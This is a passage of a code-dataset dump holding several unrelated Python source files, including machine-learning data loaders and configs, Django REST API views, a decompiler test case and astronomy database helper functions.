len(self.ids)\n\ndef collate_fn(data):\n \n if(data == None):\n print(\"Data is empty\")\n return\n\n data.sort(key=lambda x: len(x[1]), reverse=True)\n images, captions, img_ids = zip(*data)\n\n images = torch.stack(images, 0)\n\n lengths = [len(cap) for cap in captions]\n targets = torch.zeros(len(captions), max(lengths)).long()\n for i, cap in enumerate(captions):\n end = lengths[i]\n targets[i, :end] = cap[:end]\n return images, targets, lengths, img_ids\n\ndef get_loader(method, vocab, batch_size):\n\n # train/validation paths\n if method == 'train':\n root = config.train_img_path\n json = config.caption_path\n elif method =='val':\n root = config.val_img_path\n json = config.validation_path\n\n # rasnet transformation/normalization\n transform = transforms.Compose([\n transforms.RandomCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406),\n (0.229, 0.224, 0.225))])\n\n coco = DataLoader(root=root, json=json, vocab=vocab, transform=transform)\n\n data_loader = torch.utils.data.DataLoader(dataset=coco,\n batch_size=batch_size,\n shuffle=True,\n num_workers=1,\n collate_fn=collate_fn)\n return data_loader","repo_name":"quanglegl1404/Image-Captioning","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73042487146","text":"# GLOBAL PARAMETERS\nimport argparse\nDATASETS = [ 'shakespeare', 'omniglot', 'femnist']\nTRAINERS = {'fedmeta': 'FedMeta',\n 'fedavg_adv': 'FedAvgAdv'}\n\nOPTIMIZERS = TRAINERS.keys()\nMODEL_CONFIG = {\n 'mnist.logistic': {'out_dim': 10, 'in_dim': 784},\n 'femnist.cnn': {'num_classes': 62, 'image_size': 28},\n 'omniglot.cnn': {'num_classes': 5, 'image_size': 28},\n 'shakespeare.stacked_lstm': {'seq_len': 80, 'num_classes': 80, 'num_hidden': 256, }\n}\n\n\ndef base_options():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--algo',\n help='name of trainer;',\n type=str,\n choices=OPTIMIZERS,\n default='fedavg')\n parser.add_argument('--dataset',\n help='name of dataset;',\n type=str,\n required=True)\n parser.add_argument('--model',\n help='name of model;',\n type=str,\n default='logistic')\n parser.add_argument('--wd',\n help='weight decay parameter;',\n type=float,\n default=0.001)\n parser.add_argument('--device',\n help='device',\n default='cpu:0',\n type=str)\n parser.add_argument('--num_rounds',\n help='number of rounds to simulate;',\n type=int,\n default=200)\n parser.add_argument('--eval_on_test_every',\n help='evaluate every ____ rounds;',\n type=int,\n default=1)\n parser.add_argument('--eval_on_train_every',\n help='evaluate every ____ rounds;',\n type=int,\n default=1)\n parser.add_argument('--eval_on_validation_every',\n help='evaluate every ____ rounds;',\n type=int,\n default=1)\n parser.add_argument('--save_every',\n help='save global model every ____ rounds;',\n type=int,\n default=50)\n parser.add_argument('--clients_per_round',\n help='number of clients trained per round;',\n type=int,\n default=10)\n parser.add_argument('--batch_size',\n help='batch size when clients train on data;',\n type=int,\n default=10)\n parser.add_argument('--num_epochs',\n help='number of epochs when clients train on data;',\n type=int,\n default=20)\n parser.add_argument('--lr',\n help='learning rate for inner solver;',\n type=float,\n default=0.01)\n parser.add_argument('--seed',\n help='seed for randomness;',\n type=int,\n default=0)\n parser.add_argument('--quiet',\n help='仅仅显示结果的代码',\n type=int,\n default=0)\n parser.add_argument('--result_prefix',\n help='保存结果的前缀路径',\n type=str,\n default='./result')\n parser.add_argument('--train_val_test',\n help='数据集是否以训练集、验证集和测试集的方式存在',\n action='store_true')\n parser.add_argument('--result_dir',\n help='指定已经保存结果目录, 可以加载相关的 checkpoints',\n type=str,\n default='')\n # TODO 以后支持 之家加载 leaf 目录里的数据\n parser.add_argument('--data_format',\n help='加载的数据格式, json 为 Leaf以及Li T.等人定义的格式, 默认为 pkl',\n type=str,\n default='pkl')\n parser.add_argument('--train_inner_step', default=0, type=int)\n parser.add_argument('--test_inner_step', default=0, type=int)\n parser.add_argument('--same_mini_batch', action='store_true', default=False)\n return parser\n\n\ndef add_dynamic_options(argparser):\n # 获取对应的 solver 的名称\n params = argparser.parse_known_args()[0]\n algo = params.algo\n # if algo in ['maml']:\n # argparser.add_argument('--q_coef', help='q', type=float, default=0.0)\n if algo in ['fedmeta']:\n argparser.add_argument('--meta_algo', help='使用的元学习算法, 默认 maml', type=str, default='maml',\n choices=['maml', 'reptile', 'meta_sgd'])\n argparser.add_argument('--outer_lr', help='更新元学习中的外部学习率', type=float, required=True)\n argparser.add_argument('--meta_train_test_split', type=int, default=-1)\n argparser.add_argument('--store_to_cpu', action='store_true', default=False)\n elif algo == 'fedavg_adv':\n argparser.add_argument('--use_all_data', action='store_true', default=False)\n\n return argparser\n","repo_name":"ddayzzz/federated-meta","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"hi","doc_type":"code","stars":60,"dataset":"github-code","pt":"37"} +{"seq_id":"24511498865","text":"\"\"\" All functions for data handling \"\"\"\nimport os\n\nimport numpy as np\nimport torch\nimport cv2\nimport pydicom as dcm\nimport kornia\n\n# import aux\nimport config\nfrom augment_tools import augment, get_combinations\nimport quantify_attributions as qa\n\n\nclass DataLoader:\n def __init__(self, data_type, fold_num, batch_size, aug_setup,\n in_channels=0, undersample=False, sample_size=None,\n aug_names=['normal']):\n \"\"\"\n Args:\n data_type (str): type of data to be loaded ('trn', 'val' or 'tst')\n fold_num (int): split number for k fold validation\n batch_size (int): batch size\n aug_setup (str): fashion in which augmentations to be applied.\n Allowed values are\n 'random_class0_all_class1' - random augmentations in class0\n and all augmentations in class1\n 'random' - random augmentations for all classes\n 'all' - all augmentations for all classes\n in_channels (int): number of input channels. 3 for RGB and 0\n for grayscale (U-Net requires RGB)\n undersample (bool): whether to use undersampling for class0\n Defaults to False\n sample_size (int, optional) - samples to be selected for\n undersampling. Defaults to None. Compulsory if undersample\n is True.\n aug_names (List[str]): list of augmentations to be applied.\n Defaults to ['normal'] i.e. no augmentations.\n \"\"\"\n self.path = config.PATH\n self.data_type = data_type\n self.in_channels = in_channels\n self.fold_num = fold_num\n self.batch_size = batch_size\n\n self._undersample = undersample\n self._sample_size = sample_size\n self._aug_names = aug_names\n self._aug_setup = aug_setup\n self._file_list = self.get_file_list()\n\n self.num_batches = self.get_num_batches()\n self.datagen = self.dataloader()\n\n @property\n def aug_list(self):\n return self.set_augmentations()\n\n def get_file_list(self):\n \"\"\"Generate list of files as per data_type, dataset and task.\n\n Returns:\n file_list (List[str]): original list of file names from directory\n \"\"\"\n if self.data_type == 'val':\n flist_name = (config.PATH_FLIST + '/img_list_val.txt')\n else:\n flist_name = (config.PATH_FLIST + '/img_list_' + self.data_type \n + '_split' + str(self.fold_num) + '.txt')\n # flist_name = os.path.join(config.PATH_FLIST, self.data_type+'.txt')\n all_filelist = np.loadtxt(flist_name, delimiter='\\n', dtype=str)\n file_list = []\n for file_name in all_filelist:\n if file_name.split('_')[0] in config.DATASET_LIST:\n self.lbl = file_name.split('_')[1]\n if ((config.TASK == 'bacteria_vs_virus'\n or config.TASK == 'virus_vs_covid')\n and self.lbl == '0'):\n continue\n elif (config.TASK == 'virus_vs_covid'\n and (self.lbl == '0' or self.lbl == '1')):\n continue\n elif config.TASK == 'pneumonia_vs_covid' and self.lbl == '0':\n continue\n elif (config.TASK == 'bacteria_vs_ncVirus'\n and (self.lbl == '3' or self.lbl == '0')):\n continue\n else:\n file_list.append(file_name)\n return file_list\n\n def set_random_aug(self, name, aug_names):\n '''Set random augmentation flag while maintaining 50% chance of having\n normal (i.e. no aug) and 50% of any other augmentation.\n\n Args:\n name (str): name of image\n Returns:\n name_w_code (str): name with augmentation code appended\n '''\n augment_flag = np.random.choice([0, 1, 2, 3])\n if augment_flag:\n aug_name = np.random.choice(aug_names)\n else:\n aug_name = 'normal'\n name_w_code = name+'_'+aug_name\n return name_w_code\n\n def set_augmentations(self):\n \"\"\"Set appropriate augmentations by appending codes to file names.\n\n Returns:\n aug_list (List[str]): list of file names with augmentation code\n appended.\n \"\"\"\n aug_list = []\n if self._aug_setup == 'random':\n _tmp_aug_names = self._aug_names.copy()\n _tmp_aug_names.remove('normal')\n _tmp_aug_names = get_combinations(_tmp_aug_names)\n for name in self._file_list:\n name_w_code = self.set_random_aug(name, _tmp_aug_names)\n aug_list.append(name_w_code)\n elif self._aug_setup == 'all':\n for name in self._file_list:\n aug_list += [name + '_' + aug_name for aug_name in\n self._aug_names]\n elif self._aug_setup == 'random_class0_all_class1':\n aug_list_classA = []\n aug_list_classB = []\n _tmp_aug_names = self._aug_names.copy()\n _tmp_aug_names = get_combinations(_tmp_aug_names)\n # _tmp_aug_names.remove('normal')\n for name in self._file_list:\n name_w_code = self.set_random_aug(name, _tmp_aug_names)\n if int(name.split('_')[1]) == 2:\n # aug_list_classA.append(name_w_code)\n aug_list_classA += [name+'_'+aug_name for aug_name in\n _tmp_aug_names]\n\n else:\n aug_list_classB.append(name_w_code)\n if self._undersample:\n if not self._sample_size:\n raise ValueError('Sample size not passed for'\n 'undersampling')\n aug_list_classB = np.random.choice(aug_list_classB,\n (self._sample_size,),\n replace=False)\n aug_list = aug_list_classA + aug_list_classB.tolist()\n else:\n aug_list = aug_list_classA + aug_list_classB\n elif self._aug_setup == 'unequal_all':\n aug_list_classA = []\n aug_list_classB = []\n _tmp_aug_namesA = self._aug_names.copy()\n _tmp_aug_namesB = get_combinations(_tmp_aug_namesA.copy())\n for name in self._file_list:\n if int(name.split('_')[1]) == 2:\n aug_list_classB += [name+'_'+aug_name for aug_name in\n _tmp_aug_namesB]\n else:\n aug_list_classA += [name+'_'+aug_name for aug_name in\n _tmp_aug_namesA]\n aug_list = aug_list_classA + aug_list_classB\n\n elif not self._aug_setup:\n aug_list += [name+'_normal' for name in self._file_list]\n if self.data_type == 'trn':\n aug_list = np.random.permutation(aug_list)\n return aug_list\n\n def get_num_batches(self):\n \"\"\" Compute number of batches based on batch_size. \"\"\"\n num_samples = len(self.aug_list)\n if num_samples % self.batch_size == 0:\n num_batches = num_samples // self.batch_size\n else:\n num_batches = (num_samples // self.batch_size) + 1\n return num_batches\n\n def preprocess_data(self, full_name, aug_name, segment_lung):\n \"\"\" Load images and do preprocessing as required\n\n Args:\n full_name (str): name of image with path and without\n augmentation code\n aug_name (str): augmentation code (see self.set_augmentations)\n segment_lung (bool): whether to apply lung segmentation\n\n Returns:\n img (torch.Tensor): CUDA tensor of size (in_channels, size0, size1)\n with required preprocessing.\n \"\"\"\n img = cv2.imread(full_name, cv2.IMREAD_ANYDEPTH)\n # img = dcm.dcmread(full_name)\n # img = img.pixel_array\n if img is None:\n print(full_name)\n img = cv2.resize(img, (config.IMG_DIMS[0], config.IMG_DIMS[1]),\n cv2.INTER_AREA)\n img = (img - np.mean(img)) / np.std(img)\n if segment_lung:\n img = self.apply_seg_mask(img, full_name.split('/')[-1],\n crop=True, occlusion=False)\n if self.in_channels == 3:\n if img.dtype == 'float64':\n img = img.astype('float32')\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)\n img = torch.Tensor(img).cuda()\n img = img.permute(2, 0, 1)\n if self.in_channels == 0:\n img = torch.Tensor(img).cuda()\n img = img.unsqueeze(0)\n img = augment(img, aug_name)\n return img\n\n def apply_seg_mask(self, img, file_name, crop, occlusion=False):\n \"\"\" Load lung segmentation mask from disk and mask the image with it.\n\n Args:\n img (torch.Tensor): Image tensor of size (in_channels,\n size0, size1)\n file_name (str): name of image file without path\n crop (bool): whether to crop to segmented region\n\n Returns:\n img (torch.Tensor): CUDA Image tensor with lungs region only\n \"\"\"\n self.lung_mask = np.load(config.PATH.rsplit('/', 1)[0]\n + '/lung_seg_raw/'+file_name+'.npy')\n if crop:\n min_row, max_row = np.where(np.any(self.lung_mask, 0))[0][[0, -1]]\n min_col, max_col = np.where(np.any(self.lung_mask, 1))[0][[0, -1]]\n img = img*self.lung_mask\n img = img[min_col:max_col, min_row:max_row]\n self.lung_mask = self.lung_mask[min_col:max_col, min_row:max_row]\n img = cv2.resize(img, (352, 384), cv2.INTER_AREA)\n self.lung_mask = cv2.resize(self.lung_mask, (352, 384),\n cv2.INTER_AREA)\n try:\n if occlusion:\n # lung_mask_central = self.apply_occlusion_mask(\n # self.lung_mask.copy(), 'central')\n # img = img*lung_mask_central[:, :, 0]\n lung_mask_peripheral = self.apply_occlusion_mask(\n self.lung_mask.copy(), 'peripheral')\n img = img*lung_mask_peripheral[:, :, 0]\n except IndexError:\n pass\n # print(file_name)\n return img\n\n def apply_occlusion_mask(self, lung_mask, section_type):\n lung_sections_obj = qa.LungSections(lung_mask)\n lung_mask *= 255\n lung_mask = np.stack((lung_mask, lung_mask, lung_mask), -1)\n sections_lung0 = lung_sections_obj.divide_sections(0)\n sections_lung1 = lung_sections_obj.divide_sections(1)\n if section_type == 'peripheral':\n for box in [sections_lung0, sections_lung1]:\n cv2.drawContours(lung_mask, list(box), 1,\n (0, 0, 0), cv2.FILLED)\n elif section_type == 'central':\n for box in [sections_lung0, sections_lung1]:\n for idx in [0, 2]:\n cv2.drawContours(lung_mask, list(box), idx,\n (0, 0, 0), cv2.FILLED)\n lung_mask[lung_mask == 255] = 1\n return lung_mask\n\n def dataloader(self):\n \"\"\" Generator for yielding batches of data & corresponding labels\n\n Args:\n batch_size (int): size of each batch\n\n Yields:\n data_arr (torch.Tensor): CUDA tensor of shape (batch_size,\n in_channels, size0, size1)\n label_arr (torch.Tensor): tensor of shape(batch_size, 1)\n file_name_arr (List[str]): list of images names for images\n in the batch\n \"\"\"\n while True:\n aug_list = self.aug_list\n # print(len(aug_list))\n count, batch_count, data_arr, label_arr,\\\n file_name_arr = 0, 0, [], [], []\n for file_name_full in aug_list:\n file_name = '_'.join(file_name_full.split('_')[:-1])\n aug_name = file_name_full.split('_')[-1]\n nameParts = file_name.split('_')\n self.lbl = int(nameParts[1])\n if config.TASK == 'virus_vs_covid':\n self.lbl -= 2\n elif config.TASK == 'bacteria_vs_virus':\n # bacteria and virus+covid cases\n if self.lbl != 3:\n self.lbl -= 1\n elif self.lbl == 3:\n self.lbl -= 2\n elif config.TASK == 'pneumonia_vs_covid':\n # bacteria + nonCovid virus vs covid\n self.lbl -= 1\n # if self.lbl == 1 or self.lbl == 2:\n # self.lbl = 0\n # elif self.lbl == 3:\n # self.lbl = 1\n elif config.TASK == 'bacteria_vs_ncVirus':\n self.lbl -= 1\n elif config.TASK == 'normal_vs_pneumonia' and self.lbl > 1:\n self.lbl = 1\n name_w_path = os.path.join(config.PATH, file_name)\n # try:\n # print(name_w_path)\n img = self.preprocess_data(name_w_path, aug_name,\n segment_lung=True)\n # Diagnostic option - to save images the way they are\n # just before going into the network\n # np.save('test_data_to_check/'\n # + file_name + '.npy', img.detach().cpu().numpy())\n if torch.std(img) == 0 or not torch.isfinite(img).all():\n raise ValueError('Image intensity inappropriate'\n '(std is 0 or image has infinity')\n self.lbl = torch.Tensor(np.array([self.lbl])).long()\n data_arr.append(img)\n label_arr.append(self.lbl)\n file_name_arr.append(file_name_full)\n count += 1\n last_batch_flag = ((self.num_batches-batch_count) == 2 and\n count == (len(aug_list) % self.batch_size))\n if (count == self.batch_size) or last_batch_flag:\n yield torch.stack(data_arr), torch.stack(label_arr),\\\n file_name_arr\n batch_count += 1\n count, data_arr, label_arr, file_name_arr = 0, [], [], []\n\n\nclass SegDataLoader(DataLoader):\n \"\"\" Data loader for segmentation task. \"\"\"\n def get_file_list(self):\n \"\"\"Generate list of files as per data_type, dataset and task.\n\n Returns:\n file_list (List[str]): original list of file names from directory\n \"\"\"\n if self.data_type == 'val':\n flist_name = (config.PATH_FLIST + '/val_list.txt')\n else:\n flist_name = (config.PATH_FLIST + '/all_images.txt')\n all_filelist = np.loadtxt(flist_name, delimiter='\\n', dtype=str)\n file_list = []\n for file_name in all_filelist:\n file_list.append(file_name)\n return file_list\n\n def preprocess_data(self, full_name, file_type, aug_name, segment_lung):\n \"\"\" Load images and do preprocessing as required\n\n Args:\n full_name (str): name of image with path and without\n augmentation code\n file_type (str): 'data' or 'label'\n aug_name (str): augmentation code (see self.set_augmentations)\n segment_lung (bool): whether to apply lung segmentation\n\n Returns:\n img (torch.Tensor): CUDA tensor of size (in_channels, size0, size1)\n with required preprocessing.\n \"\"\"\n img = cv2.imread(full_name, cv2.IMREAD_ANYDEPTH)\n # img = dcm.dcmread(full_name)\n # img = img.pixel_array\n img = cv2.resize(img, (config.IMG_DIMS[0], config.IMG_DIMS[1]),\n cv2.INTER_AREA)\n if file_type == 'data':\n try:\n if np.mean(img) > 0.5 or np.mean(img) < -0.5:\n img = (img - np.mean(img)) / np.std(img)\n except ValueError:\n import pdb\n pdb.set_trace()\n if self.in_channels == 3 and file_type == 'data':\n if img.dtype == 'float64':\n img = img.astype('float32')\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)\n img = torch.Tensor(img).cuda()\n img = img.permute(2, 0, 1)\n if self.in_channels == 0 or file_type == 'label':\n img = torch.Tensor(img).cuda()\n img = img.unsqueeze(0)\n if len(aug_name.split('+')) > 0:\n # case where combinations of augmentations taken\n aug_names = aug_name.split('+')\n for aug_type in aug_names:\n img = augment(img, aug_type, file_type)\n else:\n img = augment(img, aug_name, file_type)\n return img\n\n def dataloader(self):\n \"\"\" Generator for yielding batches of data & corresponding labels\n\n Args:\n batch_size (int): size of each batch\n\n Yields:\n data_arr (torch.Tensor): CUDA tensor of shape (batch_size,\n in_channels, size0, size1)\n label_arr (torch.Tensor): tensor of shape(batch_size, in_channels,\n size0, size1)\n file_name_arr (List[str]): list of images names for images\n in the batch\n \"\"\"\n while True:\n aug_list = self.aug_list\n # print(len(aug_list))\n count, batch_count, data_arr, label_arr,\\\n file_name_arr = 0, 0, [], [], []\n for file_name_full in aug_list:\n file_name = '_'.join(file_name_full.split('_')[:-1])\n aug_name = file_name_full.split('_')[-1]\n name_w_path = os.path.join(config.PATH, file_name)\n img = self.preprocess_data(name_w_path, 'data', aug_name,\n segment_lung=False)\n self.lbl = torch.ones(img.shape)\n if torch.std(img) == 0 or not torch.isfinite(img).all():\n raise ValueError('Image intensity inappropriate'\n '(std is 0 or image has infinity')\n self.lbl = self.lbl.cpu().long()\n data_arr.append(img)\n label_arr.append(self.lbl)\n file_name_arr.append(file_name_full)\n count += 1\n last_batch_flag = ((self.num_batches-batch_count) == 2 and\n count == (len(aug_list) % self.batch_size))\n if (count == self.batch_size) or last_batch_flag:\n yield torch.stack(data_arr), torch.stack(label_arr), \\\n file_name_arr\n batch_count += 1\n count, data_arr, label_arr, file_name_arr = 0, [], [], []\n","repo_name":"abhinavdhere/covid19_xray","sub_path":"data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":19202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2433167851","text":"import json\nimport pandas as pd\nfrom itertools import chain\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db.models import Q\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.exceptions import PermissionDenied\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom rat.models import User, Model, Question, Stock\nfrom rat_rs.settings import SECRET_KEY\nfrom rat.serializers import UserSerializer, ModelSerializer, QuestionSerializer, ModelUpdateSerializer\nfrom rat.utils.PaperRec import PaperRec\n\n\n# Account Sign up API\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef register(request):\n print('----')\n user_obj = request.data\n print(user_obj)\n serializer = UserSerializer(data=user_obj)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n user_data = serializer.data\n return Response(user_data, status=status.HTTP_201_CREATED)\n\n\n# Edit User Info\n@api_view(['GET', 'PATCH'])\ndef user(request, user_id=0):\n if request.method == 'GET':\n try:\n user = User.objects.get(id=user_id)\n print(user)\n serializer = UserSerializer(user)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except ObjectDoesNotExist:\n return Response('Not Found', status=status.HTTP_404_NOT_FOUND)\n\n else:\n if not user_id == request.user.id:\n return Response('Not permission', status=status.HTTP_403_FORBIDDEN)\n\n user_db_obj = User.objects.get(id=user_id)\n serializer = UserSerializer(user_db_obj, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# Recommender system\n@api_view(['GET'])\ndef recommendations(request):\n # get header token\n print(request.user)\n model_objs = Model.objects.filter(user_obj=request.user.id)\n dataframe = pd.DataFrame(list(Stock.objects.all().values('paper_name', 'paper_description', 'url')))\n ans = dataframe.head()[['paper_name', 'url']].values.tolist()\n ans = list(chain.from_iterable(ans))\n print(ans)\n if not model_objs:\n return Response(json.dumps(ans), status=200)\n\n field_object1 = Model._meta.get_field('model_name')\n field_object2 = Question._meta.get_field('answer')\n model_names = []\n index = 0\n print('---1-----')\n for model_obj in model_objs:\n model_name = field_object1.value_from_object(model_obj)\n q_object1 = Question.objects.filter(question_name='What is the purpose of the model?', model_obj=model_obj)\n print(q_object1)\n answer1 = field_object2.value_from_object(q_object1[0])\n print(answer1)\n model_names.append([model_name, answer1, ''])\n index += 1\n\n dataframe.append(model_names)\n # get new PaperRec Object\n print('---2-----')\n paper_rec = PaperRec(dataframe)\n print('---3-----')\n tfidf = paper_rec.to_tfidf()\n print('---4-----')\n print(index)\n recommendation = paper_rec.recommend(tfidf, index)\n print('---------------')\n print(recommendation)\n return Response(recommendation)\n # return Response(list(chain.from_iterable(recommendation.values.tolist())))\n\n\n# get all models from certain user\n@api_view(['GET', ])\ndef all_models(request):\n models = Model.objects.filter(Q(user_obj=request.user.id) | Q(public=True))\n serializer = ModelSerializer(models, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n# get certain user's models\n@api_view(['GET', 'POST'])\ndef user_models(request, user_id):\n\n if request.method == 'POST':\n print('---')\n print(request.data)\n if 'modelName' not in request.data:\n return Response(\"Request Data is not valid\", status=status.HTTP_400_BAD_REQUEST)\n\n if not user_id == request.user.id:\n raise PermissionDenied()\n\n model_data = {'model_name': request.data['modelName'], 'user_obj': user_id, 'public': request.data['public']}\n print('model_data',model_data)\n model_serializer = ModelSerializer(data=model_data)\n\n if model_serializer.is_valid():\n model_serializer.save()\n if 'Q1' not in request.data:\n return Response(model_serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(model_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n questions_list = request.data['Q1']\n for question_data in questions_list:\n model_obj = Model.objects.latest('id').id\n question_new_data = {'question_name': question_data['content'],\n 'answer': question_data['answer'],\n 'model_obj': model_obj}\n question_serializer = QuestionSerializer(data=question_new_data)\n if question_serializer.is_valid():\n question_serializer.save()\n else:\n return Response(question_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n return Response(request.data, status=status.HTTP_201_CREATED)\n\n else:\n if not user_id == request.user.id:\n models = Model.objects.filter(user_obj=user_id, public=True)\n else:\n models = Model.objects.filter(user_obj=user_id)\n serializer = ModelSerializer(models, many=True)\n print(user_id)\n print('s',serializer.data)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n\n\n# Models API\n@api_view(['GET', 'PATCH', 'DELETE'])\ndef models(request, user_id, model_id):\n try:\n print(model_id)\n print(request.user.id)\n print('-----start-----')\n model_obj = Model.objects.get(Q(id=model_id) & (Q(user_obj=request.user.id) | Q(public=True)))\n questions = Question.objects.filter(model_obj=model_obj)\n except ObjectDoesNotExist:\n return Response('Not Data Found', status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET':\n\n print(model_id)\n print(questions)\n questions_serializer = QuestionSerializer(questions, many=True)\n model_serializer = ModelSerializer(model_obj)\n questions_model = {\n 'questions': questions_serializer.data,\n 'model': model_serializer.data\n }\n return Response(questions_model, status=status.HTTP_200_OK)\n\n\n model_owner_field = Model._meta.get_field('user_obj')\n model_owner_id = model_owner_field.value_from_object(model_obj)\n model_owner = User.objects.get(id=model_owner_id)\n print(model_owner, \"model_owner\")\n print(request.user, \"user\")\n if not request.user == model_owner:\n raise PermissionDenied()\n\n if request.method == 'DELETE':\n model_obj = Model.objects.get(id=model_id)\n model_obj.delete()\n return Response(status=status.HTTP_200_OK)\n\n else:\n print(request.data)\n if 'model' not in request.data:\n return Response(\"Request Data is not valid\", status=status.HTTP_400_BAD_REQUEST)\n\n model_serializer = ModelUpdateSerializer(model_obj, data=request.data['model'])\n\n if model_serializer.is_valid():\n model_serializer.save()\n else:\n return Response(model_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n if 'questions' not in request.data:\n return Response(model_serializer.data, status=status.HTTP_201_CREATED)\n\n questions_list = request.data['questions']\n print('test111')\n question_objs = Question.objects.filter(model_obj=model_obj)\n print('test222')\n for question_data in questions_list:\n for question_obj in question_objs:\n name_field = Question._meta.get_field('question_name')\n question_name = name_field.value_from_object(question_obj)\n if question_name == question_data['question_name']:\n question_new_data = {'model_obj': model_id, 'question_name': question_name, 'answer': question_data['answer']}\n print(\"question_new_data\", question_new_data)\n question_serializer = QuestionSerializer(question_obj, data=question_new_data)\n\n if question_serializer.is_valid():\n question_serializer.save()\n else:\n return Response(question_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n return Response(request.data, status=status.HTTP_200_OK)\n","repo_name":"Wizard-Guido/Dissertation-Project-AI-Driven-Report-Management-Website","sub_path":"back_end/rat_rs/rat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8693,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"11113337696","text":"# From 2.6 decimal\n# Bug was not recognizing scope of if and\n# turning it into xc == 1 and xe *= yc\ndef _power_exact(y, xc, yc, xe):\n yc, ye = y.int, y.exp\n while yc % 10 == 0:\n yc //= 10\n ye += 1\n\n if xc == 1:\n xe *= yc\n while xe % 10 == 0:\n xe //= 10\n ye += 1\n if ye < 0:\n return None\n exponent = xe * 10**ye\n if y and xe:\n xc = exponent\n else:\n xc = 0\n return 5\n","repo_name":"rocky/python-uncompyle6","sub_path":"test/simple_source/bug26/03_if_vs_and.py","file_name":"03_if_vs_and.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":3383,"dataset":"github-code","pt":"37"} +{"seq_id":"3822525851","text":"\"\"\"\nA collection of back end subroutines (mostly SQL queries).\n\nIn this module we collect together various routines\nthat don't fit into a more specific collection.\n\"\"\"\n\nimport math\nimport logging\nimport itertools\n\nimport tkp.db\nfrom tkp.utility.coordinates import eq_to_cart\nfrom tkp.utility.coordinates import alpha_inflate\nfrom tkp.utility import substitute_inf\n\n\nlogger = logging.getLogger(__name__)\n\n\nlightcurve_query = \"\"\"\nSELECT im.taustart_ts\n ,im.tau_time\n ,ex.f_int\n ,ex.f_int_err\n ,ex.id\n ,im.band\n ,im.stokes\n ,bd.freq_central\n FROM extractedsource ex\n ,assocxtrsource ax\n ,image im\n ,frequencyband bd\n WHERE ax.runcat IN (SELECT runcat\n FROM assocxtrsource\n WHERE xtrsrc = %(xtrsrc)s\n )\n AND ax.xtrsrc = ex.id\n AND ex.image = im.id\n AND bd.id = im.band\nORDER BY im.taustart_ts\n\"\"\"\n\nupdate_dataset_process_end_ts_query = \"\"\"\nUPDATE dataset\n SET process_end_ts = NOW()\n WHERE id = %(dataset_id)s\n\"\"\"\n\ndef update_dataset_process_end_ts(dataset_id):\n \"\"\"Update dataset start-of-processing timestamp.\n\n \"\"\"\n args = {'dataset_id': dataset_id}\n tkp.db.execute(update_dataset_process_end_ts_query, args, commit=True)\n return dataset_id\n\n\ndef insert_dataset(description):\n \"\"\"Insert dataset with description as given by argument.\n\n DB function insertDataset() sets the necessary default values.\n \"\"\"\n query = \"SELECT insertDataset(%s)\"\n arguments = (description,)\n cursor = tkp.db.execute(query, arguments, commit=True)\n dataset_id = cursor.fetchone()[0]\n return dataset_id\n\n\ndef insert_monitor_positions(dataset_id, positions):\n \"\"\"\n Add entries to the ``monitor`` table.\n\n Args:\n dataset_id (int): Positions will only be monitored when processing this\n dataset.\n positions (list of tuples): List of (RA, decl) tuples in decimal degrees.\n \"\"\"\n\n monitor_entries = [(dataset_id, p[0], p[1]) for p in positions]\n\n insertion_query = \"\"\"\\\nINSERT INTO monitor\n (\n dataset\n ,ra\n ,decl\n )\nVALUES {placeholder}\n\"\"\"\n cols_per_row = 3\n placeholder_per_row = '('+ ','.join(['%s']*cols_per_row) +')'\n placeholder_full = ','.join([placeholder_per_row]*len(positions))\n query = insertion_query.format(placeholder= placeholder_full)\n cursor = tkp.db.execute(\n query, tuple(itertools.chain.from_iterable(monitor_entries)),\n commit=True)\n insert_num = cursor.rowcount\n logger.info(\"Inserted %d sources in monitor table for dataset %s\" %\n (insert_num, dataset_id))\n\n\ndef insert_image(dataset, freq_eff, freq_bw,\n taustart_ts, tau_time,\n beam_smaj_pix, beam_smin_pix, beam_pa_rad,\n deltax, deltay,\n url,\n centre_ra, centre_decl, xtr_radius,\n rms_qc, rms_min, rms_max,\n detection_thresh, analysis_thresh\n ):\n \"\"\"\n Insert an image for a given dataset.\n\n Args:\n dataset (int): ID of parent dataset.\n freq_eff: See :ref:`Image table definitions `.\n freq_bw: See :ref:`Image table definitions `.\n taustart_ts: See :ref:`Image table definitions `.\n taus_time: See :ref:`Image table definitions `.\n beam_smaj_pix (float): Restoring beam semimajor axis length in pixels.\n (Converted to degrees before storing to database).\n beam_smin_pix (float): Restoring beam semiminor axis length in pixels.\n (Converted to degrees before storing to database).\n beam_pa_rad (float): Restoring beam parallactic angle in radians.\n (Converted to degrees before storing to database).\n deltax(float): 